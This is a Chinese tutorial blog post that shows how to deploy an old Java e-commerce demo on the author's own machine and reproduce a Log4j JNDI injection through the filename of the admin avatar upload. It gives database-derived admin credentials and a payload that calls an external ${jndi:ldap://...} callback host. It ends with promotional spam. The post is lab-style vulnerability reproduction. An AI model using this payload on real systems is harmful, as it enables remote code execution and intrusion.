首先声明一下,这是一套老源码了,本人只是跟着网上的步骤复现了一遍,主要目的还是面向毫无基础的xd,教学简单的java站怎么自己搭建,不至于代码审计的第一步就废了,本人也是摸着石头过河的,大佬勿喷。
**####################前期环境准备#####################
**
jdk:没有jdk的小伙伴可以去oracle官网下载,最好是下载1.8的,下载后添加环境变量,cmd执行:java -version,出现如下界面就算配置好jdk了:
项目源码:https://github.com/robin-liyong/-Mini-Tmall-。解压后放入小皮根目录,修改网站根目录为源码目录:
把目录下的sql文件拖到桌面,以方便导入,在桌面打开cmd,命令行链接mysql数据库,创建数据库并导入sql文件:
执行 create database tmalldemodb;创建名为tmalldemodb的数据库
先后执行:
use tmalldemodb;
source tmalldemodb.sql;
修改源码中的数据库连接密码为自己的mysql连接密码(本人root/root),
然后本地用idea打开项目文件:
等待idea完成项目构建,加载配置,idea打开项目时会自动加载,耐心等待,加载完成后,源码目录下会生成成一个编译好的target文件:
加载完成后,idea会自动配置项目的主类并加载好,可直接运行:
查看本地ip:
访问 http://192.168.0.181:8080/tmall/,至此搭建完成
**######################漏洞复现###################
**
idea全局文件搜索logger.info:
注意originalFileName,该变量可控 ,往上看,该变量的值为
String originalFileName = file.getOriginalFilename();
可见由originalFileName的值file.getOriginalFilename()方法得来,以下是gpt的解释和代码示例:
主要方法``MultipartFile 提供了一些常用方法,用于处理上传的文件:`` ``getOriginalFilename():返回原始文件名。``getName():返回表单中参数的名称。``getContentType():返回文件的 MIME 类型。``getBytes():以字节数组的形式返回文件内容。``getInputStream():返回文件内容的输入流。``isEmpty():判断文件是否为空。``transferTo(File dest):将上传的文件写入到目标文件。``使用示例``以下是一个完整的文件上传示例,展示了如何在控制器中使用 @RequestParam MultipartFile file 接收文件,并将其保存到服务器:`` ``前端 HTML 表单``html``复制代码``<!DOCTYPE html>``<html>``<head>` `<title>文件上传示例</title>``</head>``<body>` `<form action="/upload" method="post" enctype="multipart/form-data">` `<input type="file" name="file">` `<input type="submit" value="上传">` `</form>``</body>``</html>
file.getOriginalFilename()将会获取表单中name="file"的值,实际情况中"file"是什么值就会获取什么值,往上定位,发现该接口为管理员头像上传接口
接口路由:admin/uploadAdminHeadImage,访问这个接口上传头像需要登录后台,连接一下数据库查看后台密码:
拼接路由访问后台:
三个管理员账号密码随便选一个登陆,这里我用的第一个:1209577113/xq,来到上传头像处上传头像并抓包(记得把插件、bp的抓包端口改成8080以外的端口,8080端口已经被项目占用,无法抓包):
file.getOriginalFilename()将会获取上图表单中标记的filename的值并赋值给变量originalFileName,既然如此,将"test.png"改成log4j的验证POC即可:
用bp自带的dnslog获取子域名,POC验证:${jndi:ldap://9u4h9dv6vmqrghww86xwpfdzkqqge5.oastify.com}
验证成功!
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取